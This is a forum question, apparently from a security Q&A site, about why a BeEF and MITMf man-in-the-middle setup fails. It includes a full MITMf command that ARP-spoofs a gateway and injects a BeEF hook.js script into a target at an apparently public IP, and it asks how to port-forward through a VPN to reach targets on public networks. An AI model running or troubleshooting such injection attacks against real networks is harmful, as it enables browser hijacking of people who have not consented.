IP and Gateway Beef + MITMf in a Public Network

I already posted a thread which says MITMf not working. But i am thinking there is a mistake in which i am doing.

It is i am using the hook.js file with ip address 192.168.xx.xx which is clearly a home network and this url is used in MITMf as the value of js-url.

The gateway i am using is 192.168.xx.1 from route -n but it is the address of my internal router(info got from internet).

So my questions are:

When on public network is the ip=> 192.168.xx.xx and gateway 192.168.xx.1 enough, if not where i can get my public ip and gateway?
Can Securitykiss VPN be able to port forward? To which port should i do that?
Do i need to change configuration file of Beef or MITMf to reflect the public ip or gateway?

What i tried:

Started Metaspolit(Just in case needed and configured with beef).
Started beef.(Got url with 192.168.xx.xx/js url)
Used python mitmf.py -i interface --spoof --arp -i wlan0 --gateway 192.168.xx.1 --target 106.77.xxx.xxx --inject --js-url http://192.168.xx.xx:3000/hook.js
Did not do any port forwarding.

My route -n shows:

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.12.0.13 0.0.0.0 UG 1024 0 0 tun0
10.12.0.1 10.12.0.13 255.255.255.255 UGH 1024 0 0 tun0
10.12.0.13 0.0.0.0 255.255.255.255 UH 0 0 0 tun0
xx.xx.xx.xx 192.168.xx.1 255.255.255.255 UGH 10 0 0 wlan0
192.168.xx.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0

xx.xx.xx.xx is ip provided by Securitykiss which put in gateway when creating VPN connection.

Is this completely in home network? Is that the reason why MITMf not working it is saying Unable to resolve MAC address of <target ip>?